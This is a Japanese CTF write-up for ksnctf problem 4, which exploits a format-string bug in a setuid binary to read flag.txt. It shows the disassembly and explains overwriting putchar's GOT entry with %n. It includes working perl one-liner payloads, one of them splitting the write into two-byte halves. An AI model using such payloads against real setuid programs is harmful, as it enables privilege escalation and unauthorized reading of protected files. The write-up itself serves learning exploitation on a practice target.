ksnctfにチャレンジ 第4問目です。
※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。
Villager A
まず指定されたサーバーにSSHで接続します。
$ssh ctfq.sweetduet.info -p 10022 -l q4
ログインして ls すると 3つのデータが確認します。 flag.txt が今回の目標ですが、当然許可がないため開けません。
-r--------. 1 q4a q4a 80 6月 24 11:05 2016 flag.txt
-rwsr-xr-x. 1 q4a q4a 5857 5月 22 11:21 2012 q4
-rw-r--r--. 1 root root 151 6月 1 04:47 2012 readme.txt
q4が今回の攻撃対象で suid のビットが付いているのがわかります。 よって q4 の脆弱性を使って flag.txt を読みだせば良さそうです。
早速 q4 を実行してみると
[q4@localhost ~]$ ./q4
What's your name?
tester
Hi, tester
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
no が入力されるまでループするみたいです。 怪しいのは最初に名前を聞かれるところだと思います。
試しに 名前として %x を入力してみると
[q4@localhost ~]$ ./q4
What's your name?
%x
Hi, 400
なるほど、フォーマットストリングス攻撃が可能なようです。
>参考
ログイン中のシステムは objdump コマンドが使えるようなので 早速 q4 をディスアセンブルしました。 まずは main() で呼ばれているライブラリ関数は
$ objdump -D ./q4
まず
80485dd: 8d 44 24 18 lea 0x18(%esp),%eax -|
80485e1: 89 04 24 mov %eax,(%esp) | fgets()で名前を訪ねて
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> -|
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp) … "Hi,"
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> … 表示
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax -|
80485f9: 89 04 24 mov %eax,(%esp) | ここで名前を表示
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> -|
ここが脆弱性部分です。 一度目の printf() が Hi, と表示して 2度目の printf()で聞いたばかりの名前を 返すわけですが、 fgets で取得したポインタをそのまま渡していることがわかります。 教科書的な(?)フォーマットストリングス攻撃が可能な形です。
つぎに
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
~ ~ ~ ~ ~
8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
ここに注目します。 0x418(%esp)に 1 がセットされています。 その0x418(%esp) から %eax に値が移されているので今 %eax = 1 です。 そして test %eax,%eax は
if( (%eaxAND%eax) == 0) ZF = 1;
else ZF = 0;
こんな意味の命令です。 今%eax = 1なので ゼロフラグが 0 になります。
setne は Set if Not Equal という命令で ゼロフラグの反転を得る命令です。 よって %al = 1 となります。 この %al でまた test 命令を行うので結果は同じです。
つまり
804868f: 75 89 jne 804861a <main+0x66>
ここにたどり着くとき ゼロフラグはいつも 0 であり、 この jne 命令で 毎回 main+0x66 に飛ばされ、 Do you want the flag からの処理がループする仕組みになっているわけです。
つまりこの jne 命令を超えて 0x8048691 に到達できれば 直後に fopen() が呼ばれており、 flagを表示してくれるはずです。
1つ思いつくのは ループに陥る諸悪の根源たる 0x418(%esp) に 0 を書き込むことですが、 今回の環境では ASLRが有効で フォーマットストリングス攻撃を行うタイミングと かなり離れた位置で値がセットされているので普通には上手く行きません。 よってこの案はボツとします。
次に 0x804869 にジャンプすることを試みます。 攻撃には PLT を踏み台として用います。
PLTは Procedure Linkage Table といって 共有ライブラリ内の関数へ call するとき 直接アドレスを呼ぶのではなくて 一度 .plt セクション内を経由して呼び出す方法で、 共有ライブラリがどこにロードされていても PLT とPLTが読みだす GOT がよろしく 設定されていると実行時にアドレスが解決できますよ という仕組みです。 この仕組みを利用してPLTを書き換えることで 共有ライブラリを呼んだつもりが 任意のアドレスにジャンプさせます。
と、その前に 攻撃対象の関数を選定しなくてはいけません。 今回は脆弱性のある部分の直後にわざとらしく
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
putchar() を読んでいるのでこれを利用しましょう。
.plt セクション 抜粋
Disassembly of section .plt:
08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
これが PLTの putchar です。 jmp *0x80499e0 は 0x80499e0に記録されているアドレスに飛べ という命令です。 INTEL記法なら jmp DWORD PTR ds:0x80499e0 と表示されるハズです。
0x80499e0 はGOTと呼ばれる領域周辺のアドレスでここに 実行時にアドレス解決された putchar()本体のアドレスが記録されているわけです。
というわけでここまでを総合すると アドレス0x80499e0に 値0x8048691 を書き込んでおくと putchar() 関数が呼ばれたときに 本来の libcの putchar() ではなく 目的のアドレスにジャンプする。 というわけです。
ここまでわかればあとはちょっとした計算を行うだけです。 0x8048691 は 10進数では 134514321 で 目標アドレスの 0x80499e0 を入力するのに \xe0\x99\x04\x08 の4文字分を使用するので
134514321 - 4 = 134514317
残り 134514317文字分表示した上で %n を使えば必要な値が書き込まれます。
ちなみに
[q4@localhost ~]$ ./q4
What's your name?
ABCD%x.%x.%x.%x.%x.%x.
Hi, ABCD400.cfa440.8.14.64dfc4.44434241.
この実験からわかるように スタックの6段目に文字列の先頭が格納されているようなので
$ perl -e 'print "\xe0\x99\x04\x08%134514317c%6\$n"'| ./q4
これでいけそうな気がします。 が、空白文字を 13451431文字分も表示するのは気が引けるので 2バイトや1バイトごとに分割することでもできます。 例えば2分割する場合 スタックの6番目と7番目を使いたいので 0x80499e0 0x80499e2 をそれぞれセットして、上位・下位の2バイトを書き込めば文字数稼ぎに必要な 幅が小さくなるのでもうすこし速く攻撃が通ります。
$ perl -e 'print "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441c%6\$hn%33139c%7\$hn"'| ./q4
このように 2バイトずつ書き込めます。 パラメータ h は精度は落とす命令で 4byte -> 2byte のshort幅にしています。 >参考 printf自作してみる
累計文字表示数は増えていくのできっちりの数値を作れないこともありますが 溢れても問題ないので下2桁のみ考慮して数値を決めれば問題ありません。